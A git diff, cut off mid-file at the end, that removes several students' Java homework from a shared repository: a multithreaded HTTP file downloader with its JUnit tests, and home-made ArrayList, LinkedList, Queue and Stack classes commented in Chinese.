-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.api.DownloadListener;
-import com.coderising.download.impl.ConnectionManagerImpl;
-
-public class FileDownloaderTest {
-	boolean downloadFinished = false;
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testDownload() {
-		
-		String url = "http://localhost:8080/TimeCapsule/readme.txt";
-		
-		FileDownloader downloader = new FileDownloader(url);
-
-	
-		ConnectionManager cm = new ConnectionManagerImpl();
-		downloader.setConnectionManager(cm);
-		
-		downloader.setListener(new DownloadListener() {
-			public void notifyFinished() {
-				downloadFinished = true;
-			}
-
-		});
-
-		
-		downloader.execute();
-		
-		// 等待多线程下载程序执行完毕
-		while (!downloadFinished) {
-			try {
-				System.out.println("还没有下载完成，休眠五秒");
-				//休眠5秒
-				Thread.sleep(5000);
-			} catch (InterruptedException e) {				
-				e.printStackTrace();
-			}
-		}
-		System.out.println("下载完成！");
-		
-		
-
-	}
-
-}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/Connection.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/Connection.java
deleted file mode 100644
index 3982b8e310..0000000000
--- a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/Connection.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.coderising.download.api;
-
-import java.io.IOException;
-
-public interface Connection {
-	/**
-	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
-	 * @param startPos 开始位置， 从0开始
-	 * @param endPos 结束位置
-	 * @return
-	 */
-	public byte[] read(int startPos,int endPos) throws IOException;
-	/**
-	 * 得到数据内容的长度
-	 * @return
-	 */
-	public int getContentLength();
-	
-	/**
-	 * 关闭连接
-	 * 
-	 */
-	public void close();
-}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionException.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionException.java
deleted file mode 100644
index 1551a80b3d..0000000000
--- a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionException.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.coderising.download.api;
-
-public class ConnectionException extends Exception {
-
-}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionManager.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionManager.java
deleted file mode 100644
index ce045393b1..0000000000
--- a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionManager.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package com.coderising.download.api;
-
-public interface ConnectionManager {
-	/**
-	 * 给定一个url , 打开一个连接
-	 * @param url
-	 * @return
-	 */
-	public Connection open(String url) throws ConnectionException;	
-}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/DownloadListener.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/DownloadListener.java
deleted file mode 100644
index bf9807b307..0000000000
--- a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/DownloadListener.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.coderising.download.api;
-
-public interface DownloadListener {
-	public void notifyFinished();
-}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionImpl.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionImpl.java
deleted file mode 100644
index ae639d2651..0000000000
--- a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionImpl.java
+++ /dev/null
@@ -1,143 +0,0 @@
-package com.coderising.download.impl;
-
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.net.URL;
-
-import com.coderising.download.api.Connection;
-
-public class ConnectionImpl implements Connection{
-	
-	private String url = null;
-	private InputStream in = null;
-
-
-	public ConnectionImpl(String url) {
-		this.url = url;
-		
-		
-	}
-
-	public byte[] read(int startPos, int endPos) throws IOException {
-		
-		try {
-			if(url==null||url.trim()==""){
-				return null;
-			}
-			
-			URL u = new URL(url);
-			in = u.openStream();
-			
-			
-		} catch (Exception e) {
-			// TODO Auto-generated catch block
-			e.printStackTrace();
-		}
-		
-		if(in==null){
-			return null;
-		}
-		byte[] read = insert(startPos, endPos);
-
-		return read;
-	}
-
-	private byte[] insert(int startPos, int endPos) throws IOException {
-		byte[] b = new byte[1024];
-		int len = 0;
-		int index = 0;
-		byte[] read = new byte[endPos-startPos+1];
-		
-		while((len=in.read(b))>0){
-			if((index+1024)<=startPos){
-				index+=1024;
-				continue;
-			}
-			
-			if(index<=startPos&&startPos<(index+1024)){
-				
-				if(endPos<(index+1024)){
-					for(int i=0,j=startPos-index;i<read.length;i++,j++){
-						read[i]=b[j];
-					}
-					index+=1024;
-					break;
-				}else{
-				
-					for(int i=0,j=startPos-index;i<(index+1024-startPos);i++,j++){
-						read[i]=b[j];
-					}
-				}
-				
-			}
-			
-			if(startPos<index){
-				
-				if(endPos<(index+1024)){
-					for(int i=0,j=index-startPos;i<(endPos-index+1);i++,j++){
-						read[j] = b[i];
-					}
-					index+=1024;
-					break;
-
-				}
-				
-				for(int i=0,j=index;i<1024;i++,j++){
-					read[j] = b[i];
-				}
-				
-			}
-			
-			
-			index+=1024;
-		}
-		return read;
-	}
-
-	public int getContentLength() {
-		
-		if(url==null||url.trim()==""){
-			return 0;
-		}
-		
-		try{
-		
-		URL u = new URL(url);
-		in = u.openStream();
-		if(in==null){
-			return 0;
-		}
-		int length = in.available();
-		return length;
-		}catch(Exception e){
-			e.printStackTrace();
-			throw new RuntimeException();
-		}finally{
-			try {
-				if(in!=null){
-					in.close();
-				}
-			} catch (IOException e) {
-				// TODO Auto-generated catch block
-				e.printStackTrace();
-			}
-		}
-		
-	}
-
-	public void close() {
-		
-
-		try {
-			if(in!=null){
-				in.close();
-			}
-		} catch (IOException e) {
-			// TODO Auto-generated catch block
-			e.printStackTrace();
-		}
-
-	}
-
-}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionManagerImpl.java
deleted file mode 100644
index a338036bf8..0000000000
--- a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionManagerImpl.java
+++ /dev/null
@@ -1,16 +0,0 @@
-package com.coderising.download.impl;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-
-public class ConnectionManagerImpl implements ConnectionManager {
-
-	Connection conn = null;
-	
-	public Connection open(String url) throws ConnectionException {
-		
-		return conn = new ConnectionImpl(url);
-	}
-
-}
diff --git a/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionImplTest.java b/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionImplTest.java
deleted file mode 100644
index dcd1254a2a..0000000000
--- a/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionImplTest.java
+++ /dev/null
@@ -1,92 +0,0 @@
-/**
- * 
- */
-package junit.test;
-
-import static org.junit.Assert.*;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.net.MalformedURLException;
-import java.net.URL;
-
-import org.junit.After;
-import org.junit.AfterClass;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.Test;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.impl.ConnectionImpl;
-
-/**
- * @author Oliver
- *
- */
-public class ConnectionImplTest {
-	
-	Connection conn = null;
-	InputStream in = null;
-	
-	@Before
-	public void setUp() throws Exception {
-		String url = "http://localhost:8080/TimeCapsule/readme.txt";
-		conn = new ConnectionImpl(url);
-		
-		URL u = new URL(url);
-		in =  u.openStream();
-	}
-
-	
-	@After
-	public void tearDown() throws Exception {
-	}
-
-
-	@Test
-	public void testRead() throws IOException {
-		
-		byte[] connbuffer = conn.read(0, 99);
-		Assert.assertEquals(100, connbuffer.length);
-		byte[] connbuffer2 = conn.read(0, 99);
-		Assert.assertArrayEquals(connbuffer,connbuffer2);
-		
-		
-		byte[] b = new byte[100];
-		in.read(b);
-
-		Assert.assertArrayEquals(b, conn.read(0, 99));
-		
-		byte[] b1 = new byte[50];
-		for(int i=0;i<50;i++){
-			b1[i]=b[50+i];
-		}
-		
-		Assert.assertArrayEquals(b1, conn.read(50, 99));
-		
-		
-
-	}
-
-
-	@Test
-	public void testGetContentLength() throws Exception {
-		
-		byte[] b = new byte[1024];
-		int len = 0;
-		int count = 0;
-		while((len=in.read(b))>0){
-			count+=len;
-		}
-		Assert.assertEquals(count, conn.getContentLength());
-		
-	}
-
-
-	@Test
-	public void testClose() {
-		conn.close();
-	}
-
-}
diff --git a/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionManagerImplTest.java b/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionManagerImplTest.java
deleted file mode 100644
index 589c1bf1d2..0000000000
--- a/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionManagerImplTest.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package junit.test;
-
-import static org.junit.Assert.*;
-
-import org.junit.After;
-import org.junit.AfterClass;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.Test;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.impl.ConnectionImpl;
-import com.coderising.download.impl.ConnectionManagerImpl;
-
-public class ConnectionManagerImplTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-
-	@Test
-	public void testOpen() throws ConnectionException {
-		ConnectionManager cm = new ConnectionManagerImpl();
-		String url = "http://localhost:8080/TimeCapsule/readme.txt";
-		Connection conn = cm.open(url);
-	}
-
-}
diff --git a/group23/1072760797-skomefen/day3-26/src/junit/test/DownloadThreadTest.java b/group23/1072760797-skomefen/day3-26/src/junit/test/DownloadThreadTest.java
deleted file mode 100644
index 5ae230e97b..0000000000
--- a/group23/1072760797-skomefen/day3-26/src/junit/test/DownloadThreadTest.java
+++ /dev/null
@@ -1,77 +0,0 @@
-package junit.test;
-
-import static org.junit.Assert.*;
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.util.ArrayList;
-
-
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.download.DownloadThread;
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.impl.ConnectionManagerImpl;
-
-public class DownloadThreadTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@Test
-	public void testRun() throws ConnectionException, IOException {
-		ConnectionManager cm = new ConnectionManagerImpl();
-		String url = "http://localhost:8080/TimeCapsule/readme.txt";
-		Connection conn = cm.open(url);
-		DownloadThread dt = new DownloadThread(conn, 0, conn.getContentLength());
-		dt.start();
-		
-		File file = new File("e://readme.txt");
-		FileInputStream in  = new FileInputStream(file);
-		byte[] b = new byte[10];
-		int len = 0;
-		ArrayList<byte[]> a = new ArrayList<byte[]>();
-		while((len=in.read(b))>0){
-			a.add(b);
-		}
-
-		int length = conn.getContentLength();
-		if(length%3==0){
-			for(int i=1;i<=3;i++){
-				int startPos = length/3*i-1;
-				int endPos = length/3*(i-1);
-				new DownloadThread(conn, endPos, startPos).start();
-			}
-		}else{
-			for(int i=1;i<=2;i++){
-				
-				int startPos = length/3*(i-1);
-				int endPos = length/3*i-1;
-				new DownloadThread(conn, startPos, endPos).start();
-			}
-			int startPos = length/3*2;
-			new DownloadThread(conn, startPos, length).start();
-		}
-		
-		file = new File("e://readme.txt");
-		in  = new FileInputStream(file);
-		b = new byte[10];
-		len = 0;
-		ArrayList<byte[]> a1 = new ArrayList<byte[]>();
-		while((len=in.read(b))>0){
-			a1.add(b);
-		}
-		for(int i = 0;i<a.size()||i<a1.size();i++){
-			Assert.assertArrayEquals(a.get(i), a1.get(i));
-		}
-		
-	}
-
-}
diff --git a/group23/609041842/src/code/ArrayList.java b/group23/609041842/src/code/ArrayList.java
deleted file mode 100644
index e24f37e35a..0000000000
--- a/group23/609041842/src/code/ArrayList.java
+++ /dev/null
@@ -1,49 +0,0 @@
-package code;
-
-import java.util.Arrays;
-
-public class ArrayList {
-
-	private Object[] obj = new Object[0];
-
-	public void add(Object o) {
-		Object[] tar = new Object[obj.length + 1];
-		System.arraycopy(obj, 0, tar, 0, obj.length);
-		tar[tar.length - 1] = o;
-		obj = tar;
-		System.out.println(Arrays.toString(obj));
-	}
-
-	public void add(int index, Object o) {
-		Object[] tar = new Object[obj.length + 1];
-		System.arraycopy(obj, 0, tar, 0, index);
-		tar[index] = o;
-		System.arraycopy(obj, index, tar, index + 1, obj.length - index);
-		obj = tar;
-	}
-
-	public Object get(int index) {
-		return obj[index];
-	}
-	
-	public int size(){
-		return obj.length;
-	}
-
-	public Object remove(int index){
-		Object[] tar = new Object[obj.length-1];
-		System.arraycopy(obj, 0, tar, 0, index);
-		System.arraycopy(obj, index+1, tar, index, obj.length-index-1);
-		Object o = obj[index];
-		obj = tar;
-		return o;//���ر�ɾԪ��
-	}
-	public static void main(String[] args) {
-		ArrayList al = new ArrayList();
-		al.add("hello");
-		al.add("java");
-		al.add(2, "addm");
-		System.out.println(al.remove(1));
-	}
-
-}
diff --git a/group23/609041842/src/code/LinkedList.java b/group23/609041842/src/code/LinkedList.java
deleted file mode 100644
index 6f2ac5158f..0000000000
--- a/group23/609041842/src/code/LinkedList.java
+++ /dev/null
@@ -1,87 +0,0 @@
-package code;
-
-public class LinkedList {
-	private static Node head;
-	private Node last;
-	public int size;
-
-	public void add(Object o) {
-		Node l = last;
-		Node newNode = new Node(l, o, null);
-		last = newNode;
-		if (head == null) {
-			head = newNode;
-			size = 1;
-		} else {
-			l.next = newNode;
-			size++;
-		}
-	}
-
-	public void add(int index, Object o) {
-		Node n = node(index);
-		System.out.println(n.data);
-		Node pred = n.prev;
-		Node newNode = new Node(pred, o, n);
-		if (pred == null) {
-			head = newNode;
-		} else {
-			pred.next = newNode;
-		}
-		size++;
-	}
-
-	
-	public Node get(int index){
-		return node(index);
-	}
-	public Node node(int index) {
-		Node n = head;
-		for (int i = 0; i < index; i++) {
-			n = n.next;
-		}
-		return n;
-	}
-
-	public Node remove(int index){
-		Node del = node(index);
-		Node after = del.next;
-		Node before = del.prev;
-		before.next = after;
-		after.prev = before;
-		size--;
-		return del;
-	}
-	private static class Node {
-		Node next;
-		Object data;
-		Node prev;
-
-		private Node(Node prev, Object data, Node next) {
-			this.data = data;
-			this.next = next;
-			this.prev = prev;
-		}
-	}
-
-	public static void main(String[] arg) {
-		LinkedList ll = new LinkedList();
-		ll.add("hello");
-		ll.add("java");
-		ll.add("jvm");
-		ll.add("jvmd");
-		// System.out.println(ll.get(2));
-//		ll.add(1, "ds");
-		System.out.println(ll.get(0).data);
-		System.out.println(ll.get(1).data);
-		System.out.println(ll.get(2).data);
-		System.out.println(ll.get(3).data);
-		System.out.println(ll.size);
-	System.out.println(ll.remove(1).data);
-	System.out.println(ll.get(0).data);
-	System.out.println(ll.get(1).data);
-	System.out.println(ll.get(2).data);
-	System.out.println(ll.size);
-	}
-
-}
diff --git a/group23/609041842/src/code/Queue.java b/group23/609041842/src/code/Queue.java
deleted file mode 100644
index 4f18db0129..0000000000
--- a/group23/609041842/src/code/Queue.java
+++ /dev/null
@@ -1,17 +0,0 @@
-package code;
-
-public class Queue {
-
-	private LinkedList lk = new LinkedList();
-	public void enQueue(Object o){
-		lk.add(o);
-	}
-	public void deQueue(){
-		lk.remove(lk.size-1);
-	}
-	public boolean isEmpty(){
-		if(lk.size == 0)
-			return true;
-		return false;
-	}
-}
diff --git a/group23/609041842/src/code/Stack.java b/group23/609041842/src/code/Stack.java
deleted file mode 100644
index 315b07f5a8..0000000000
--- a/group23/609041842/src/code/Stack.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package code;
-
-public class Stack {
-
-	private ArrayList array = new ArrayList();
-	
-	public void push(Object o){
-		array.add(o);
-	}
-	public Object pop(){
-		return array.remove(array.size()-1);
-	}
-	
-	public boolean isEmpty(){
-		if(array.size()<=0)
-			return true;
-		return false;
-	}
-	
-	public int size(){
-		return array.size();
-	}
-	public static void main(String[] args) {
-		Stack sc = new Stack();
-		sc.push("hello world");
-		sc.push("java");
-		sc.push("jvm");
-	}
-	
-}
diff --git a/group23/729693763/Third_Homework3/DataStruct/Iterator.java b/group23/729693763/Third_Homework3/DataStruct/Iterator.java
deleted file mode 100644
index 2ca354f82a..0000000000
--- a/group23/729693763/Third_Homework3/DataStruct/Iterator.java
+++ /dev/null
@@ -1,6 +0,0 @@
-package com.zhous.DataStruct;
-
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-}
diff --git a/group23/729693763/Third_Homework3/DataStruct/LinkedList.java b/group23/729693763/Third_Homework3/DataStruct/LinkedList.java
deleted file mode 100644
index 2a6663a3ba..0000000000
--- a/group23/729693763/Third_Homework3/DataStruct/LinkedList.java
+++ /dev/null
@@ -1,327 +0,0 @@
-package com.zhous.DataStruct;
-
-import javafx.beans.binding.ObjectExpression;
-
-
-
-public class LinkedList implements List {
-	
-	private Node head = null;
-	private int size = 0;
-
-	public void add(Object o){
-		addLast(o);
-		this.size++;
-	}
-
-	//内部调用的方法：
-	//2 返回添加到哪个Node
-	private Node findBeforeInsertNode(int needInsertIndex){
-		Node findGetNode = this.head;
-		for ( int i=0; i< needInsertIndex - 1; i++ ) {
-			findGetNode = findGetNode.next;
-		}
-		return findGetNode;
-	}
-	//3
-	private void checkPositionIndex(int index) {
-		if ( !( index >= 0 && index <= size ) )
-			throw new IndexOutOfBoundsException("Invalid Index:"+index);
-	}
-
-	//4
-	private void addBeforeNode(int index, Object o) {
-		Node newNode = new Node();
-		newNode.data = o;
-		newNode.next = null;
-
-		Node beforeInserNode = this.head;
-
-
-			beforeInserNode =  findBeforeInsertNode(index);
-
-			newNode.next = beforeInserNode.next;
-			beforeInserNode.next = newNode;
-
-	}
-	//5
-	private Node findIndexNode(int index){
-		Node findGetNode = this.head;
-		for ( int i=0; i< index; i++ ) {
-			findGetNode = findGetNode.next;
-		}
-		return findGetNode;
-	}
-
-
-	public void add(int index , Object o){
-		checkPositionIndex(index);
-		if( index == size()){
-			addLast(o);
-		} else if ( index == 0 ) {
-			addFirst(o);
-		} else{
-			addBeforeNode(index,o);
-		}
-		this.size++;
-	}
-
-
-
-
-	public Object get(int index){
-		checkElementIndex(index);
-		return findIndexNode(index);
-	}
-	public Object remove(int index){
-		checkElementIndex(index);
-		Object deleteData = null;
-
-		if(index == 0){
-			deleteData = removeFirst();
-		} else if(index == (size() - 1) ){
-			deleteData = removeLast();
-		} else {
-			Node temp = findBeforeInsertNode(index);
-			Node tempNext = temp.next;
-			deleteData = tempNext.data;
-
-			temp.next = tempNext.next;
-			tempNext = null;
-		}
-
-		return deleteData;
-	}
-
-	//6
-	private void checkElementIndex(int index) {
-		if ( !( index >= 0 && index < size ) )
-			throw new IndexOutOfBoundsException("Invalid Index:"+index);
-	}
-
-	public int size(){
-		return this.size;
-	}
-	
-	public void addFirst(Object o){
-		Node newNode = new Node();
-		newNode.data = o;
-		newNode.next = null;
-		if ( this.head == null  ) {
-			this.head = newNode;
-		} else {
-			newNode.next = this.head;
-			this.head = newNode;
-		}
-	}
-	private void addLast(Object o){
-		Node newNode = new Node();
-		newNode.data = o;
-		newNode.next = null;
-		if ( head == null ) {
-			head = newNode;
-		} else{
-			findBeforeInsertNode(this.size).next = newNode;
-		}
-	}
-	public Object removeFirst(){
-		Object data;
-		Node newHead = new Node();
-		newHead = this.head;
-		this.head = newHead.next;
-
-		data = newHead.data;
-		newHead = null;
-		return  data;
-	}
-	public Object removeLast(){
-		Object data;
-		Node last = findIndexNode(this.size() -1);
-		data = last.data;
-		last = null;
-
-		return data;
-	}
-	public Iterator iterator()
-	{
-		return new LinkedListIterator();
-	}
-
-	
-	private static  class Node{
-		Object data;
-		Node next;
-		
-	}
-	
-	/**
-	 * 把该链表逆置
-	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-	 */
-	public  void reverse(){		
-		Node first ;
-		int currentIndex = 1;
-		this.head = findIndexNode(this.size - 1);
-		if(this.size() <= 1){
-			return;
-		}
-		while(currentIndex < this.size() ){
-			first = findIndexNode(this.size() - currentIndex);
-			first.next = findIndexNode(this.size - currentIndex - 1);
-			currentIndex++;
-		}
-	}
-	
-	/**
-	 * 删除一个单链表的前半部分
-	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-
-	 */
-	public  void removeFirstHalf(){
-		checkElementIndex(this.size());
-
-		int mid = this.size / 2;
-		Node temp = this.head;
-		this.head = findIndexNode(mid);
-		for (int i = 0; i < mid; i++) {
-			Node T = temp.next;
-			temp = null;
-			temp = T;
-		}
-
-	}
-	
-	/**
-	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-	 * @param index
-	 * @param length
-	 */
-	public  void remove(int index, int length){
-		checkElementIndex(length + index );
-
-		Node before = findBeforeInsertNode(index);
-		Node temp = findIndexNode(index);
-		for (int i= 0; i < length; i++) {
-			Node T = temp.next;
-			temp = null;
-			temp = T;
-		}
-		before.next = temp;
-	}
-	/**
-	 * 假定当前链表和listB均包含已升序排列的整数
-	 * 从当前链表中取出那些listB所指定的元素
-	 * 例如当前链表 = 11->101->201->301->401->501->601->701
-	 * listB = 1->3->4->6
-	 * 返回的结果应该是[101,301,401,601]  
-	 * @param list
-	 */
-	public  int[] getElements(LinkedList list){
-		Node listNode = list.head;
-		Node myNode = this.head;
-		int[] data = new int[list.size()];
-		for (int i = 0; i < this.size(); i++) {
-			if(i == (Integer) listNode.data){
-				data[i] = (Integer)myNode.data;
-			}
-			myNode = myNode.next;
-		}
-
-		return data;
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 从当前链表中中删除在listB中出现的元素 
-
-	 * @param list
-	 */
-	
-	public  void subtract(LinkedList list){
-
-		int[] data = new int[list.size()];
-		for (int i = 0,j = 0; i < this.size(); i++) {
-			for (; j < list.size(); j++) {
-				if(this.get(i).equals(list.get(j))){
-					this.remove(i);
-					break;
-				}
-			}
-		}
-	}
-	
-	/**
-	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-	 * （选做）
-	 */
-	public  void removeDuplicateValues(){
-		
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-	 * @param min
-	 * @param max
-	 * （选做）
-	 */
-	public  void removeRange(int min, int max){
-		
-	}
-	
-	/**
-	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-	 * @param list
-	 */
-	public  LinkedList intersection( LinkedList list){
-        LinkedList listC = new LinkedList();
-
-        for (int i = 0,j = 0; i < this.size(); i++) {
-            for (; j < list.size(); j++) {
-                if(this.get(i).equals(list.get(j))){
-                    listC.add(this.get(i));
-                    break;
-                }
-            }
-        }
-
-
-
-		return listC;
-	}
-
-
-
-	/************Iterator**************/
-	private class LinkedListIterator implements Iterator{
-		private Node currentNode;
-		private int currentIndex;
-
-		public LinkedListIterator() {
-			// TODO Auto-generated constructor stub
-			this.currentIndex = 0;
-			this.currentNode = new Node();
-		}
-		@Override
-		public boolean hasNext() {
-			// TODO Auto-generated method stub
-			return currentIndex < size();
-		}
-
-		@Override
-		public Object next() {
-			// TODO Auto-generated method stub
-			checkElementIndex(currentIndex);
-			if ( currentNode.data == null ) {
-				this.currentNode = findIndexNode(currentIndex);
-			}
-			Object value = currentNode.data;
-			currentNode = currentNode.next;
-			currentIndex++;
-			return value;
-		}
-	}
-}
diff --git a/group23/729693763/Third_Homework3/DataStruct/List.java b/group23/729693763/Third_Homework3/DataStruct/List.java
deleted file mode 100644
index aa8b039453..0000000000
--- a/group23/729693763/Third_Homework3/DataStruct/List.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package com.zhous.DataStruct;
-
-public interface List {
-	void add(Object o);
-	void add(int index, Object o);
-	Object get(int index);
-	Object remove(int index);
-	int size();
-	Iterator iterator();
-}
diff --git a/group23/729693763/Third_Homework3/download/.classpath b/group23/729693763/Third_Homework3/download/.classpath
deleted file mode 100644
index ac37fb2e4b..0000000000
--- a/group23/729693763/Third_Homework3/download/.classpath
+++ /dev/null
@@ -1,5 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<classpath>
-	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER"/>
-	<classpathentry kind="output" path="bin"/>
-</classpath>
diff --git a/group23/729693763/Third_Homework3/download/.project b/group23/729693763/Third_Homework3/download/.project
deleted file mode 100644
index 9360f320db..0000000000
--- a/group23/729693763/Third_Homework3/download/.project
+++ /dev/null
@@ -1,17 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<projectDescription>
-	<name>download</name>
-	<comment></comment>
-	<projects>
-	</projects>
-	<buildSpec>
-		<buildCommand>
-			<name>org.eclipse.jdt.core.javabuilder</name>
-			<arguments>
-			</arguments>
-		</buildCommand>
-	</buildSpec>
-	<natures>
-		<nature>org.eclipse.jdt.core.javanature</nature>
-	</natures>
-</projectDescription>
diff --git a/group23/729693763/Third_Homework3/download/DownloadThread.java b/group23/729693763/Third_Homework3/download/DownloadThread.java
deleted file mode 100644
index 3ab337e352..0000000000
--- a/group23/729693763/Third_Homework3/download/DownloadThread.java
+++ /dev/null
@@ -1,49 +0,0 @@
-package com.zhous.download;
-
-import com.zhous.download.api.Connection;
-import com.zhous.download.api.DownloadListener;
-
-import java.io.File;
-import java.io.IOException;
-import java.io.RandomAccessFile;
-
-public class DownloadThread extends Thread{
-
-	Connection conn;
-	int startPos;
-	int endPos;
-	File targetFile;
-	DownloadListener downloadListener;
-
-	public DownloadThread( Connection conn, int startPos, int endPos,File targetFile,DownloadListener downloadListener){
-		
-		this.conn = conn;		
-		this.startPos = startPos;
-		this.endPos = endPos;
-		this.targetFile = targetFile;
-		this.downloadListener = downloadListener;
-	}
-	public void run(){	
-		try {
-			//读取到指定长度的二进制数据
-			System.out.println(this.getName()+"开始下载");
-			byte[] data = conn.read(startPos,endPos);
-
-			//插入的file中去
-			RandomAccessFile raFile = new RandomAccessFile(this.targetFile,"rw");
-			raFile.seek(startPos);
-			raFile.write(data,0,endPos-startPos );
-
-			raFile.close();
-			//做完了
-			if(FileDownloader.isDownloadFinish() ){
-				downloadListener.notifyFinished();
-				System.out.println(this.getName()+"完成最后的下载，并写入文件");
-			}
-
-
-		}catch (IOException e){
-
-		}
-	}
-}
diff --git a/group23/729693763/Third_Homework3/download/FileDownloader.java b/group23/729693763/Third_Homework3/download/FileDownloader.java
deleted file mode 100644
index 098f9408f0..0000000000
--- a/group23/729693763/Third_Homework3/download/FileDownloader.java
+++ /dev/null
@@ -1,96 +0,0 @@
-package com.zhous.download;
-
-import com.zhous.download.api.Connection;
-import com.zhous.download.api.ConnectionException;
-import com.zhous.download.api.ConnectionManager;
-import com.zhous.download.api.DownloadListener;
-
-import java.io.File;
-import java.util.Set;
-
-
-public class FileDownloader {
-
-	String url="https://image.baidu.com/search/down?tn=download&word=download&ie=utf8&fr=detail&url=https%3A%2F%2Ftimgsa.baidu.com%2Ftimg%3Fimage%26quality%3D80%26size%3Db9999_10000%26sec%3D1490203615530%26di%3D2b1827956a01011d3634f3e04b01b15c%26imgtype%3D0%26src%3Dhttp%253A%252F%252Fimg15.3lian.com%252F2015%252Fh1%252F338%252Fd%252F157.jpg&thumburl=https%3A%2F%2Fss1.bdstatic.com%2F70cFvXSh_Q1YnxGkpoWK1HF6hhy%2Fit%2Fu%3D2613489365%2C2336631324%26fm%3D23%26gp%3D0.jpg";
-	private static int threadNum = 5;
-	private static int threadCount = 0;
-	int avgBytes = 0;
-
-	DownloadListener listener;
-	ConnectionManager cm;
-	File file = null;
-
-	public FileDownloader(String _url,String fileName) {
-		this.url = _url;
-		this.file = new File(fileName);
-	}
-
-	public void execute(){
-		// 在这里实现你的代码， 注意： 需要用多线程实现下载
-		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
-		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
-		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
-		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
-		// 具体的实现思路：
-		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
-		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
-		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
-		// 3. 把byte数组写入到文件中
-		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
-
-		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
-		Connection conn = null;
-		try {
-
-			conn = cm.open(this.url);
-			int length = conn.getContentLength();
-			avgBytes = length / threadNum;
-			//使用5个线程去下载；
-			for (int i = 0; i < threadNum; i++) {
-				int startPos = i*avgBytes;
-				int endPos = startPos + avgBytes - 1;
-				if(i == threadNum -1) {
-					endPos = length;
-				}
-
-				Connection c = cm.open(this.url);
